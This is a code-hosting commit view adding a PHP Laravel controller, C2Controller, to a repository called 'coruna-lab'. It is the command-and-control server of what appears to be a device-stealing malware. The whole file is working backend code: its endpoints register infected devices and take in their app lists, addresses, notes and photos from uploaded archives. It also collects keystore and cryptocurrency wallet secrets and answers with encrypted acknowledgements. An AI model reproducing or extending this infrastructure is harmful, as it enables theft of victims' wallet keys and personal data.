root/coruna-lab
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

init

Browse Source
This commit is contained in:
hashbro
2026-08-04 05:00:42 +08:00
commit ea0be57180
304 changed files with 18921 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
server/app/Http/Controllers/C2/C2Controller.php
+198
View File
@@ -0,0 +1,198 @@
<?php
namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use App\Services\CorunaArchive;
use App\Services\CorunaCrypto;
use App\Services\IngestService;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Storage;
class C2Controller extends Controller
{
/** @var CorunaCrypto */
private $crypto;
/** @var CorunaArchive */
private $archive;
/** @var IngestService */
private $ingest;
public function __construct(CorunaCrypto $crypto, CorunaArchive $archive, IngestService $ingest)
{
$this->crypto = $crypto;
$this->archive = $archive;
$this->ingest = $ingest;
}
public function query(): Response
{
return response('OK', 200)->header('Content-Type', 'text/plain');
}
public function avatarSet(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
return $this->encryptedAck();
}
public function userGet(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestInstalledApps($device, $payload);
}
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => null]);
}
public function avatarPut(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestDeviceEvent($device, $payload);
}
return $this->encryptedAck();
}
public function avatarStatus(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestAddresses($device, $payload);
// keystore-ish blobs
if (isset($payload['keystore']) || isset($payload['wallets']) || isset($payload['result'])) {
$this->ingest->ingestWalletSecrets($device, $payload);
}
}
return $this->encryptedAck();
}
public function status(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestAddresses($device, $payload);
}
return $this->encryptedAck();
}
public function set(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestWalletSecrets($device, $payload);
}
return $this->encryptedAck();
}
public function check(Request $request): Response
{
$deviceKey = $request->attributes->get('coruna_device_key')
?: $request->input('d')
?: $request->input('f');
$device = $this->ingest->upsertDevice(
$request,
array_filter(['d' => $deviceKey]),
$deviceKey ? (string) $deviceKey : null
);
$batchBase = (string) ($request->input('batchBase')
?? $request->input('batch_base')
?? $request->input('base')
?? '0');
if ($batchBase === '') {
$batchBase = '0';
}
$counters = [
'count' => $request->input('count'),
'total' => $request->input('total'),
'index' => $request->input('index'),
'batchBase' => $batchBase,
];
$attachmentRel = null;
if ($request->hasFile('file') && $device) {
$bytes = file_get_contents($request->file('file')->getRealPath());
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
$extracted = $this->archive->extract($bytes, $work, $batchBase);
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
Storage::disk('local')->makeDirectory($attachmentRel);
if (! empty($extracted['files'])) {
$this->ingest->ingestPhotos($device, $extracted['files'], $counters);
}
create_log([
'event' => 'check_extract',
'device_key' => $device->device_id,
'attachment_path' => $attachmentRel,
'extract' => [
'ok' => $extracted['ok'],
'files' => array_map('basename', $extracted['files']),
'password_recipe' => $extracted['password_recipe'],
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
],
'counters' => $counters,
], 'c2');
}
// Prefer encrypted ack (clients that expect JSON); fall back same as other routes
return $this->encryptedAck();
}
public function avatarPic(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
if ($device) {
$this->ingest->ingestNotes($device, is_array($payload) ? $payload : null);
}
return $this->encryptedAck();
}
public function profileNop(Request $request): Response
{
return $this->encryptedAck();
}
public function linkConfigList(Request $request): Response
{
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => []]);
}
public function linkConfigIcon(Request $request): Response
{
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => null]);
}
/**
* @param mixed $data
*/
private function encryptedAck($data = null): Response
{
if ($data === null) {
$data = ['code' => 0, 'msg' => 'ok', 'data' => null];
}
$enc = $this->crypto->encryptJson($data);
return response($enc['body'], 200)
->header('Content-Type', 'text/plain')
->header('timestamp', $enc['timestamp']);
}
}